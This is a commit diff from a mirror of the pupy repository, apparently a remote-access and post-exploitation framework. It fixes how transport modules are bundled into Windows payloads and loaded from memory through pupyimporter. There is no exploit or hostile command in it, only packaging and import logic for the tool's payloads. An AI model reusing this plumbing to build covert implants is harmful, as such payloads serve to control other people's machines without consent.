mirror of https://github.com/n1nj4sec/pupy.git
fix new transports import in windows payloads
This commit is contained in:
parent
63800eddd6
commit
ea7879ad6d
|
@ -30,7 +30,7 @@ else:
|
|||
|
||||
|
||||
all_dependencies=list(set([x.split(".")[0] for x in sys.modules.iterkeys()]))
|
||||
all_dependencies.extend(["win32file", "win32pipe", "Crypto", "yaml", "_yaml", "rpyc"])
|
||||
all_dependencies.extend(["win32file", "win32pipe", "Crypto", "yaml", "_yaml", "rpyc", "network"])
|
||||
all_dependencies=list(set(all_dependencies))
|
||||
|
||||
zf = zipfile.ZipFile(os.path.join("sources","resources","library%s.zip"%arch), mode='w', compression=zipfile.ZIP_DEFLATED)
|
||||
|
|
|
@ -26,20 +26,21 @@ def add_transport(module_name):
|
|||
except Exception as e:
|
||||
logging.warning("Could not load transport %s : %s. Transport disabled"%(module_name,e))
|
||||
|
||||
if "network.transports" not in sys.modules:
|
||||
import transports as trlib
|
||||
|
||||
#importing from memory (used by payloads)
|
||||
try:
|
||||
#importing from memory (used by payloads)
|
||||
try:
|
||||
import pupyimporter
|
||||
import network.transports
|
||||
for path in [x for x in pupyimporter.modules.iterkeys() if x.startswith("network/transports/") and x.endswith("/conf.py")]:
|
||||
for path in [x for x in pupyimporter.modules.iterkeys() if x.startswith("network/transports/") and x.endswith(("/conf.py","/conf.pyc"))]:
|
||||
try:
|
||||
module_name=path.rsplit('/',2)[1]
|
||||
add_transport(module_name)
|
||||
except Exception as e:
|
||||
print e
|
||||
pass
|
||||
except Exception:
|
||||
except Exception as e:
|
||||
print e
|
||||
import transports as trlib
|
||||
#imports for pupygen and the pupysh server
|
||||
for loader, module_name, is_pkg in pkgutil.iter_modules(trlib.__path__):
|
||||
add_transport(module_name)
|
||||
|
|
Loading…
Reference in New Issue